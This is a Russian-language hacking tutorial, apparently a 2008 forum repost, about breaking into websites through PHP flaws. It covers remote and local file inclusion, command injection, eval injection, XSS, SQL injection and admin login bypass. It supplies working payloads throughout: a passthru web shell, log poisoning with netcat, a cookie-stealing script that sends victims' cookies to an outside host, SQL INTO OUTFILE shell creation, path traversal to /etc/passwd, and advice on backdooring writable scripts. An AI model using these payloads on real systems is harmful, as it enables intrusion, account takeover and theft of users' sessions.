**********************************************
** Взлом сайтов через ошибки в php-скриптах **
**********************************************
Автор: NooBSaiboT // !Z-Team
****************************
Содержание:
[1] - Удалённый инклюд
[2] - Локальный инклюд
[3] - Выполнения команд
[4] - Межсайтовый скриптинг
[5] - Инъекции
[6] - Другие ошибки в php-скриптах
[7] - Выводы
[8] - Полезные ссылки
Начнём:
1. Удалённый инклюд ...
Ошибка самая типичная, но до сих пор актуальная. Суть такой ошибки в том, что переменная не определена
заранее, а также никак не фильтруется и не проверяется:
//index.php с ошибкой
+-------------------+
| <?php |
| ... |
| include("$page"); |
| ... |
| ?> |
+-------------------+
По идее (как мыслил программист) данная функция должна подключать страницы на сайт,
например wwwxxx.ru/index.php?page=news.php
А что нам мешает подключить свой файл? А ничего
Делаем так:
http://www.xxx.ru/index.php?page=http:/ … php?cmd=id
// код cmd.php:
+--------------------------+
| <?php passthru($cmd); ?> |
+--------------------------+
Единственный нюанс в том, что хостинг не должен исполнять php, а то инклюду передастся уже выполненный скрипт.
В ответ мы получим что-то похожее на это:
uid=100(www) gid=100(www) groups=100(www)
Это означает, что мы получили доступ с правами веб-сервера (www).
Также вместо функции include() могут быть: require(), require_once() и inсlude_once()
Есть ещё несколько нюансов: допустим если в конфигурационном файле PHP (php.ini) опция allow_url_fopen=off
- то удалённый инклюд уже не получится. Следовательно имеет место попробовать локальный инклюд (о нём чуть ниже).
Сама функция инклюда может быть и такого вида:
// код index.php с ошибкой
+---------------------------------------+
| <?php |
| ... |
| include($dir . "system/options.php"); |
| ... |
| ?> |
+---------------------------------------+
И опять же нам ничего не мешает создать на своём сервере папку system и в неё положить файл options.php.
Теперь нам надо его подключить. Делается это так: http://www.xxx.ru/index.php?dir=http:// … amp;cmd=id
Ответ будет такой же, как и выше (получение прав веб-сервера).
Два данных примера были приведены при условии, что у вас есть доступ к исходному коду скрипта.
А что делать, если нет? Тогда всё делаем вручную. Допустим вы заходите на сайт видите:
wwwxxx.ru/about.php?name=jonny
Теперь подставляем свою строку вместо jonny:
wwwxxx.ru/about.php?name=xxxxxxxxxxxxxxxxxxxxxxxxx
Если там используется инклюд и есть параметр display_errors=on, то мы увидим примерно такой ответ:
+------------------------------------------------------------------------------------------+
| Warning: Failed opening 'xxxxxxxxxxxxxxxxxxxxxxxxx.php' for inclusion (include_path='.') |
| in /home/xxx/public_html/about.php on line 5 |
+------------------------------------------------------------------------------------------+
Следовательно мы нашли инклюд. Осталось только создать файл cmd.php и подключить его к скрипту:
wwwxxx.ru/about.php?name=http://www.x-city.nm.ru/cmd&cmd=id - ответ будем уже знакомый
2. Локальный инклюд ...
Также как и с удалённым инклюдом, но только в php.ini выставлена опция allow_url_fopen=off, либо скрипт такого вида:
// код user.php с ошибкой
+-----------------------+
|<?php |
|... |
|include("./" . $lang); |
|... |
|?> |
+-----------------------+
"./" - это значит, что файл берётся только из локальной папки. Проверяем:
wwwxxx.ru/user.php?lang=../../../../../../passwd
Должен отобразится файл passwd. Но нам ведь нужен web-shell. Изучаем сайт на наличия форума, галерей и т.д.
(т.е. скрипта, который позволит нам загрузить ваш файл на сайт)
Предположим что мы нашли форум. Теперь попробуем загрузить аватару shell.gif с таким содержанием:
// код shell.gif
+--------------------------+
| <?php passthru("id"); ?> |
+--------------------------+
Теперь смотрим, куда загрузилась аватара. Допустим что это wwwxxx.ru/forum/uploads/12345.gif .
Теперь попробуем определить локальный путь к форуму: обычно на сервере папки с сайтами хранятся в /home
и имена папок сайтов часто совпадают с названием сайтов (тут всё зависит от вас - главное определить этот путь).
Допустим что наш путь такой:
/home/xxx.ru/forum/uploads/12345.gif
Осталось только проинклюдить этот файл:
wwwxxx.ru/user.php?lang=/home/xxx.ru/forum/uploads/12345.gif
Если всё правильно, то мы должны увидеть уже знакомый нам ответ:
uid=100(www) gid=100(www) groups=100(www)
А что делать, если на сайте мы не нашли никаких скриптов, которые могут загружать наши файлы?
Можно попробовать подключить error_log (отчёт ошибок), только прежде скормить netcat'ом серверу такую команду:
GET <?php passthru("id"); ?> HTTP/1.0
Сервер не переварит данную команду и занесёт её в отчёт с ошибками. А сама суть интерпретатора PHP в том что,
он пролистывает файл до тех пор, пока не найдёт теги <?php ... ?> . Чувствуете, к чему я клоню
Теперь осталось вычислить путь к error_log и подключить его. Вот небольшой список, где может
находится error_log (но его может там не оказаться):
/var/log/httpd/error_log #Fedora
../logs/error.log #Windows
/etc/httpd/logs/error_log
/var/www/logs/error_log
/usr/local/apache/logs/error_log
/var/log/apache/error_log
/var/log/error_log
/usr/local/apache/logs/error_log
Также есть смысл подставлять "." вместо "_", но тут все зависит от вашего терпения и фантазии.
Бывает инклюд такого вида:
//Код user.php с ошибкой
+---------------------------------+
| <?php |
| ... |
| include("./" . $lang . ".php"); |
| ... |
| ?> |
+---------------------------------+
Тут имеет смысл попробывать null-баг (правдо он актуален до PHP <= 4.0.3) и позволяет отбросить расширение файла
(да и не только расширение), в данном случае .php - делается это так:
wwwxxx.ru/user.php?lang=../../../../../../passwd%00
3. Выполнения команд ...
В PHP есть функции exec(), popen(), system(), passthru() и обратная кавычка "`" - они нужны для исполнения
системных команд (таких как mail и не только ).
Допустим что в скрипте есть отправка текста на почту такого вида:
//Код mail.php с ошибкой
+------------------------------+
| <?php |
| ... |
| system("mail $email $text"); |
| ... |
| ?> |
+------------------------------+
Из-за того что в php команды можно разделять ";" и существует эта ошибка следующая ошибка.
Делаем так:
wwwxxx.ru/mail.php?to=crazy@xxx.ru;id&text=cool
Должна будет выполнится команда id.
При изучения исходного кода всегда стоит обращать внимания на такие функции
Есть ещё такая уязвимость как, инъекция кода. Всё это из-за функции eval(). Предположим есть такой код:
//Код info.php с ошибкой
+--------------+
| <?php |
| ... |
| eval($code); |
| ... |
| ?> |
+--------------+
Тогда делаем такой запрос:
wwwxxx.ru/info.php?code=phpinfo() - это выдаст всю информацию о PHP.
4. Межсайтовый скриптинг (он же XSS) ...
Данный вид уязвимостей основан на вставке своего html-кода в страницу. Такие уязвимости часто встречаются
на форумах, гостевых книгах, чатах, страницах поиска и т.д.
Суть ошибки в том, что не фильтруется поле для ввода текста (это может быть поля для имя, сообщения и т.д.) и мы
можем вставить свой JavaScript (VBScript).
Пусть это будет <script>alert('!Z-Team');</script>. После загрузки страницы нам вылетит сообщение !Z-Team.
Что нам это даёт? Все зависти от вашей фантазии
В основном используется для угона cookie's пользователей (или админа, если повезет) и впоследствии использование
их аккуантов. Вставляем в поле для ввода текста вот этот код:
document.location.replace('http://x-city.nm.ru/xss.php?cookie='+document.cookie);
Содержимое xss.php должно быть следующее (в данном случае нужен хостинг с поддержкой PHP):
// код xss.php
+----------------------------------------------+
| <?php |
| $file = fopen("cookie.db","a"); |
| fputs($file,"Co0kie : " . $cookie . "\r\n"); |
| fclose($file); |
| ?> |
+----------------------------------------------+
Теперь, когда пользователь зайдёт на страницу, он будет направлен на наш сайт (на котором стоит наш скрипт)
и оставит там свои cookie в файле cookie.db (не забудьте поставить на cookie.db права на запись).
Но бывают так, что XSS ошибка есть, но внедрить её в сайт не удается.
Что же тогда делать? А тогда придётся впаривать вашу ссылку тем, у кого есть аккуант.
Допустим у нас имеется уязвимый форум. Уязвим скрипт поиска и он использует следующую форму отправки вашего запроса:
// код search.html
+-----------------------------------------------------------+
| <form action="http://www.xxx.ru/search.php" method="get"> |
| <input type="text"> |
| <input type="submit" value="Поиск"> |
| </form> |
+-----------------------------------------------------------+
В свою очередь скрипт search.php не фильтрует переменную $text на наличие запретных символов.
Чтобы использовать эту уязвимость, надо выйти за пределы html-тегов - делается это чаще всего через эти символы (',",>,`).
Нам остаётся только написать следующее:
wwwxxx.ru/search.php?text="><script>document.location.replace('http://x-city.nm.ru/xss.php?cookie=
'+document.cookie);</script>
Что мы тут сделали? Сначала закрыли переменную text с помощью ", далее мы закрываем форму ввода символом >
и подставляем свой код, который перекинет пользователя на нашу страницу, где, как известно лежит, наш скрипт,
который поймает cookie Теперь эту ссылку осталось впарить админу (ну или какому-нибудь пользователю,
который имеет акк на этом сайте), но чтобы было меньше палева, можно каждый символ перевести
в его шестнадцатеричный аналог.
5. Инъекции ...
Данный вид ошибок так же основан на том, что скрипт не фильтрует данные, передаваемые в запрос к MySQL.
В связи с этим можно внедрить свой SQL запрос. Допустим что при передачи переменной в запрос MySQL
ограничивается одинарными кавычками:
// код user.php с ошибкой
+-------------------------------------------------------------------+ | <?php | | ... | | $stat = db_query("SELECT email FROM users WHERE login='$login'"); | | ... ^^^^^^^^ | | ?> | +-------------------------------------------------------------------+
Если мы подставим в переменную $login одинарную кавычку - wwwxxx.ru/user.php?login=r00t'
то MySQL ругнётся и выдаст нам ошибку. Но если мы сделаем такой запрос:
wwwxxx.ru/user.php?login=r00t' OR '1'='1 - MySQL выдаст все данные таблицы (так как 1 всегда равно 1).
Это простой пример взят из одной статьи, а дальше всё зависит от вас и как вы читали про составлений запросов
Скажу только что через MySQL можно создать полноценный web-shell.
Для этого нужно:
Зарегистрироватся (например с логином crazy) и в поле для ввода email написать "<? passthru($cmd) ?>"
(без кавычек). Теперь нам надо сделать вывод в файл.
Делается это так:
wwwxxx.ru/user.php?login=crazy' INTO OUTFILE 'cmd.php' /*
Остаётся только набрать в адресной строке wwwxxx.ru/cmd.php?cmd=id и мы увидим знакомый ответ
Так же с помощью инъекции можно обойти авторизацию пользователей, для этого пишем в поле логин:
crazy (тот пользователь на чей акк вы хотите зайти), а в поле пароль: 12345' AND 1=1. Так как 1 всегда равно 1,
то нас свободно пустят. Или ещё проще - в поле логин написать: crazy'/*.
Символы /* значат что после них всё коментарий.
6. Другие ошибки в скриптах ...
Есть ещё ошибки, которые я не знаю куда отнести. Бывает, что используют cgi модуль для PHP. Если вы такое увидите,
то стоит проверить: wwwxxx.ru/php.cgi. Если он имеется, значит можно попробовать подключить какой-нибудь файл.
Например так:
wwwxxx.ru/php.cgi?../../../../../etc/passwd
Бывают и такие ошибки:
Есть скрипт админки:
// код admin.php с ошибкой
+-----------------------------------------+
| <?php |
| ... |
| if ($session_logged or $cookie_logged){ |
| $is_logged_in = true; |
| ... |
| ?> |
+-----------------------------------------+
Если создать такой запрос:
wwwxxx.ru/admin.php?cookie_logged=blablabla - то мы войдём в скрипт админки
7. Выводы ...
Если у нас нет исходного кода скрипта, то вам придётся всё проверять вручную, а именно в каждую переменную
подставлять такие значения:
wwwxxx.ru/index.php?go='
wwwxxx.ru/index.php?go=;id;
wwwxxx.ru/index.php?go=../../../../../../etc/passwd
wwwxxx.ru/index.php?go=../../../../../../etc/passwd%00
wwwxxx.ru/index.php?go=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
wwwxxx.ru/index.php?go=http://x-city.nm.ru/cmd.php?cmd=id
wwwxxx.ru/index.php?go="><script>alert('!Z-Team');</script>
И смотреть ответы сервера на данные запросы.
Ещё хотелось бы добавить:
С помощью удалённого инклюда можно бэкдорить скрипты. Просто находим какой-нибудь скрипт php (доступный на запись)
и добавляем следущий код:
// код script.php
+-----------------+
| <?php |
| ... |
| include($door); |
| ... |
| ?> |
+-----------------+
Также с помощью локальных инклюдов можно попробывать поискать файлы конфигов.
Например так:
wwwxxx.ru/user.php?lang=./admin/config.php
В нём можно найти пароль от MySQL и проверить, не совпадает ли он с FTP или с SSH.
Ещё если у вас есть XSS, которую можно внедрить в содержимое сайта, то можно попробовать внедрить ваш
iframe, который будет ссылаться на ваш сайт (либо для нагона уников или для пробива експлоитом )
8. Полезные ссылки ...
Основы безопастного програмирования на PHP: http://rst.void.ru/papers/php_sec.txt
XSS для самых маленьких: http://forum.web-hack.ru/index.php?showtopic=28026
Атаки SQL-Injection (MySQL): http://rst.void.ru/papers/sql-inj.txt (пример для SQL взят отсюда)
Программа NetCat: http://packetstormsecurity.org/Win/nc11nt.zip
Взято с http://invisiblezone.net/txt/php-script-bug.txt
Отредактировано popoffka (2008-07-03 13:11:03)